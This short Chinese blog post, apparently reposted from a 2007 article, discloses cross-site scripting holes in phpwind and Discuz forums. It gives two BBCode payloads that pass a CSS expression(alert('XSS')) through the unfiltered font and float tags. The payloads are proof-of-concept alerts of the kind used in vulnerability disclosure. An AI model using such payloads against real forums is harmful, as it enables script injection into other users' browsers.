phpwind和DZ论坛跨站

PW论坛的FONT FACE字体没过滤：

跨站代码：

以下是代码片段： [font=expression(alert('XSS'))]xss[/font]

DZ论坛的float浮动属性没过滤：

跨站代码 ：

以下是代码片段： [float=expression(alert('XSS'))]xss[/float]

实例：

转载于:https://www.cnblogs.com/allyesno/archive/2007/06/18/787033.html